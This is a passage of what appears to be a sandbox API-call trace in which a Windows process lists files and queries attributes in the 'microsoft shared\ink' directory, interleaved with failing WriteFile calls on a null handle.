	[0242.160] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a1d507, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xde1acd8d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xde1acd8d, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x612e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mraut.dll", cAlternateFileName="")) returned 1
	[0242.160] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc800, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwgst.dll", cAlternateFileName="")) returned 1
	[0242.160] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8ce781, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe3805ad4, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe3805ad4, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x106a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll", cAlternateFileName="")) returned 1
	[0242.160] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076bff5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1
	[0242.160] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076c75d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1
	[0242.160] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1
	[0242.160] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d988, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1
	[0242.160] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ddb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1
	[0242.160] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e0f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1
	[0242.160] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b600, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll", cAlternateFileName="")) returned 1
	[0242.161] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e4d1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1
	[0242.161] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb3200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe", cAlternateFileName="")) returned 1
	[0242.161] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e8a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-SK", cAlternateFileName="")) returned 1
	[0242.161] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ec25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1
	[0242.161] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c7ae2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~1")) returned 1
	[0242.161] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c820e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1
	[0242.161] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe467a929, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe467a929, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabIpsps.dll", cAlternateFileName="")) returned 1
	[0242.161] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463d4edd, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x779da8e5, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463d4edd, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x3e9600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tabskb.dll", cAlternateFileName="")) returned 1
	[0242.161] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a8750a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a8750a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x5f780, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabTip.exe", cAlternateFileName="")) returned 1
	[0242.161] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8602, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th-TH", cAlternateFileName="")) returned 1
	[0242.161] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1aad768, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1aad768, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x109400, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll", cAlternateFileName="")) returned 1
	[0242.161] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll", cAlternateFileName="")) returned 1
	[0242.161] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79680792, ftCreationTime.dwHighDateTime=0x1d32794, ftLastAccessTime.dwLowDateTime=0x79680792, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x79680792, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x101200, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipskins.dll", cAlternateFileName="")) returned 1
	[0242.162] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7965a52d, ftCreationTime.dwHighDateTime=0x1d32794, ftLastAccessTime.dwLowDateTime=0x7965a52d, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x7965a52d, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x9e1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tiptsf.dll", cAlternateFileName="")) returned 1
	[0242.162] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463d4edd, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x6ebfe576, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463d4edd, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x17a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tpcps.dll", cAlternateFileName="")) returned 1
	[0242.162] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c896f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1
	[0242.162] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8ed8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1
	[0242.162] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c93df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1
	[0242.162] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1
	[0242.163] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0242.163] FindClose (in: hFindFile=0x192c63cd640 | out: hFindFile=0x192c63cd640) returned 1
	[0242.166] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x4e, lpNumberOfBytesWritten=0xc00011781c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00011781c, lpOverlapped=0x0) returned 0
	[0242.166] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe462e472, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe462e472, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xc137d)) returned 1
	[0242.170] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x5c, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0242.170] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x69a5)) returned 1
	[0242.186] SetEvent (hEvent=0x124) returned 1
	[0242.186] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x5b, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0242.187] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8f49e8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd11f8841, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd11f8841, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x186b84)) returned 1
	[0242.198] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0242.199] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x4f, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0242.199] SetEvent (hEvent=0xf0) returned 1
	[0242.199] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickLearningWizard.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8f49e8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd121ea9a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd121ea9a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xc4800)) returned 1
	[0242.236] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x67, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0242.236] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\HWRCustomization" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcustomization"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6eba2ec1, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xa07693a9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6eba2ec1, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0242.237] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\HWRCustomization" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcustomization"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.237] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\HWRCustomization\\*", lpFindFileData=0xc000117548 | out: lpFindFileData=0xc000117548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6eba2ec1, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xa07693a9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6eba2ec1, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0242.238] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117578 | out: lpFindFileData=0xc000117578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6eba2ec1, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xa07693a9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6eba2ec1, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0242.238] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117578 | out: lpFindFileData=0xc000117578*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0242.238] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0242.238] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0242.238] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d14d081, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d14d081, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0242.263] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0242.263] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x58400)) returned 1
	[0242.285] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0242.285] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1ecc00)) returned 1
